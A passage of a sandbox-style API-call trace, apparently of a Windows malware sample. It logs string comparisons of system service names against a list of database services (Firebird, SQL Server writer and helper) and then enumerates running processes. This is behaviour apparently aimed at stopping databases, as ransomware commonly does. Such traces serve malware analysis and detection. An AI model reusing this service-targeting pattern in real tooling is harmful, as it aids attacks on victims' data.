lpString2="EventSystem") returned 1 [0147.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0147.321] lstrlenW (lpString="FontCache") returned 9 [0147.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0147.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0147.321] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0147.321] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0147.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0147.321] lstrlenW (lpString="gpsvc") returned 5 [0147.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0147.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0147.321] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0147.321] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0147.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0147.321] lstrlenW (lpString="iphlpsvc") returned 8 [0147.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0147.321] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0147.321] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0147.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0147.321] lstrlenW (lpString="KeyIso") returned 6 [0147.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0147.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0147.321] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0147.321] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0147.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0147.321] lstrlenW (lpString="LanmanServer") returned 12 [0147.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0147.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0147.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0147.321] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0147.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0147.321] lstrlenW (lpString="LanmanWorkstation") returned 17 [0147.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0147.321] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0147.322] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0147.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0147.322] lstrlenW (lpString="lfsvc") returned 5 [0147.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0147.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0147.322] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0147.322] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0147.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0147.322] lstrlenW (lpString="lmhosts") returned 7 [0147.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0147.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0147.322] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0147.322] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0147.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0147.322] lstrlenW (lpString="LSM") returned 3 [0147.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0147.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0147.322] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0147.322] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0147.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0147.322] lstrlenW (lpString="MpsSvc") returned 6 [0147.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0147.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0147.322] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0147.322] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0147.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0147.322] lstrlenW (lpString="NcbService") returned 10 [0147.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0147.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0147.322] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0147.322] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0147.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0147.322] lstrlenW (lpString="netprofm") returned 8 [0147.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0147.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0147.323] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0147.323] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0147.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0147.323] lstrlenW (lpString="NgcSvc") returned 6 [0147.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0147.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0147.323] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0147.323] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0147.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0147.323] lstrlenW (lpString="NlaSvc") returned 6 [0147.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0147.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0147.323] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0147.323] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0147.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0147.323] lstrlenW (lpString="nsi") returned 3 [0147.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0147.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0147.323] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0147.323] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0147.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0147.323] lstrlenW (lpString="PcaSvc") returned 6 [0147.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0147.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0147.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0147.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0147.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0147.323] lstrlenW (lpString="PlugPlay") returned 8 [0147.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0147.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0147.323] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0147.323] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0147.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0147.324] lstrlenW (lpString="Power") returned 5 [0147.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0147.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0147.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0147.324] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0147.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0147.324] lstrlenW (lpString="ProfSvc") returned 7 [0147.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0147.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0147.324] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0147.324] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0147.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0147.324] lstrlenW (lpString="RpcEptMapper") returned 12 [0147.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0147.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0147.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0147.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0147.324] lstrlenW (lpString="RpcSs") returned 5 [0147.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0147.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0147.324] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0147.324] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0147.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0147.324] lstrlenW (lpString="SamSs") returned 5 [0147.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0147.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0147.324] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0147.324] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0147.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0147.324] lstrlenW (lpString="Schedule") returned 8 [0147.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0147.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0147.324] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0147.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0147.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0147.325] lstrlenW (lpString="SecurityHealthService") returned 21 [0147.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0147.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0147.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0147.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0147.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0147.325] lstrlenW (lpString="SENS") returned 4 [0147.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0147.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0147.325] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0147.325] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0147.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0147.325] lstrlenW (lpString="ShellHWDetection") returned 16 [0147.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0147.325] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0147.325] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0147.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0147.325] lstrlenW (lpString="Spooler") returned 7 [0147.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0147.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0147.325] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0147.325] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0147.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0147.325] lstrlenW (lpString="StateRepository") returned 15 [0147.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0147.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0147.325] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0147.325] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0147.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0147.325] lstrlenW (lpString="SysMain") returned 7 [0147.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0147.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0147.326] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0147.326] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0147.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0147.326] lstrlenW (lpString="SystemEventsBroker") returned 18 [0147.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0147.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0147.326] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0147.326] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0147.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0147.326] lstrlenW (lpString="Themes") returned 6 [0147.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0147.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0147.326] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0147.326] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0147.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0147.326] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0147.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0147.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0147.326] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0147.326] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0147.326] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x6f5958 | out: hHeap=0x660000) returned 1 [0147.326] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x348 [0147.330] Process32FirstW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0147.331] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0147.331] lstrlenW (lpString="System") returned 6 [0147.331] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0147.332] lstrlenW (lpString="smss.exe") returned 8 [0147.332] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.333] lstrlenW (lpString="csrss.exe") returned 9 [0147.333] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0147.679] lstrlenW (lpString="wininit.exe") returned 11 [0147.687] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0147.688] lstrlenW (lpString="csrss.exe") returned 9 [0147.688] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0147.688] lstrlenW (lpString="winlogon.exe") returned 12 [0147.688] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0147.689] lstrlenW (lpString="services.exe") returned 12 [0147.689] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0147.690] lstrlenW (lpString="lsass.exe") returned 9 [0147.690] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.690] lstrlenW (lpString="svchost.exe") returned 11 [0147.690] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0147.691] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0147.691] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0147.691] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0147.691] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.692] lstrlenW (lpString="svchost.exe") returned 11 [0147.692] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0147.693] lstrlenW (lpString="dwm.exe") returned 7 [0147.693] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.693] lstrlenW (lpString="svchost.exe") returned 11 [0147.693] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.703] lstrlenW (lpString="svchost.exe") returned 11 [0147.703] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.718] lstrlenW (lpString="svchost.exe") returned 11 [0147.718] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.719] lstrlenW (lpString="svchost.exe") returned 11 [0147.719] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.719] lstrlenW (lpString="svchost.exe") returned 11 [0147.719] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.720] lstrlenW (lpString="svchost.exe") returned 11 [0147.720] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.721] lstrlenW (lpString="svchost.exe") returned 11 [0147.721] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.721] lstrlenW (lpString="svchost.exe") returned 11 [0147.721] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.722] lstrlenW (lpString="svchost.exe") returned 11 [0147.722] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.722] lstrlenW (lpString="svchost.exe") returned 11 [0147.722] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0147.723] lstrlenW (lpString="spoolsv.exe") returned 11 [0147.723] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0147.724] lstrlenW (lpString="svchost.exe") returned 11 [0147.724] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0147.724] lstrlenW (lpString="audiodg.exe") returned 11 [0147.725] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0147.725] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0147.725] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0147.726] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0147.726] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0147.726] lstrlenW (lpString="Memory Compression") returned 18 [0147.726] Process32NextW (in: hSnapshot=0x348, lppe=0x259fd2c | out: lppe=0x259fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, 